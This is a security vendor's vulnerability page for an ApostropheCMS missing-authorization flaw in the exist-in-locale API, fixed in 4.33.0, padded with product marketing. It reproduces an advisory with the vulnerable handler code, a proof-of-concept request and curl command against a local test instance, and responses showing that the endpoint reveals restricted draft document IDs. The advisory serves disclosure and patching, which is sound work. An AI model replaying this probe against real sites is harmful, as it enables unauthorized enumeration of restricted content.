CVE-2026-113660

CVE-2026-113660 is a medium-severity missing authorization vulnerability in apostrophe (npm), affecting versions < 4.33.0. It is fixed in 4.33.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Summary
ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details
Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529
Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale
The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view')
.permission('edit')
apos.permission.criteria(req, 'view')
object-level document authorization
locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000
The test account had the low-privilege role: guest
The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control
Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

Request Result
Normal page API for the restricted draft 403 Forbidden
exist-in-locale for the same restricted draft 200 OK with localized document ID
exist-in-locale for a nonexistent ID 200 OK with empty arrays

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:

Query Result
locale=fr, mode=draft Returned wv2l4rbaplgzkg80zkne4aoz:fr:draft
locale=fr, mode=published Returned empty arrays because no published fixture existed
locale=de, mode=draft Returned empty arrays because no German fixture existed
Two IDs in one request Existing ID returned; nonexistent ID omitted

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact
A low-privilege authenticated user can:
Probe arbitrary known or guessed document base IDs.
Determine whether restricted documents have localized versions.
Determine whether unpublished draft versions exist.
Identify which locales contain matching records.
Obtain exact localized document identifiers.
Submit multiple IDs in one request for bulk reconnaissance.
The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation
Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.
The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[1] ApostropheCMS i18n source, existInLocale handler, lines 503–529

[2] Official ApostropheCMS i18n API documentation

Impact

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-113660 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.33.0); upgrading removes the vulnerable code path.

Affected versions

apostrophe (< 4.33.0)

Security releases

apostrophe → 4.33.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade apostrophe to 4.33.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-113660? CVE-2026-113660 is a medium-severity missing authorization vulnerability in apostrophe (npm), affecting versions < 4.33.0. It is fixed in 4.33.0. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is CVE-2026-113660? CVE-2026-113660 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of apostrophe are affected by CVE-2026-113660? apostrophe (npm) versions < 4.33.0 is affected.
  4. Is there a fix for CVE-2026-113660? Yes. CVE-2026-113660 is fixed in 4.33.0. Upgrade to this version or later.
  5. Is CVE-2026-113660 exploitable, and should I be worried? Whether CVE-2026-113660 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-113660 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-113660? Upgrade apostrophe to 4.33.0 or later.

Other vulnerabilities in apostrophe

Stop the waste.
Protect your environment with Kodem.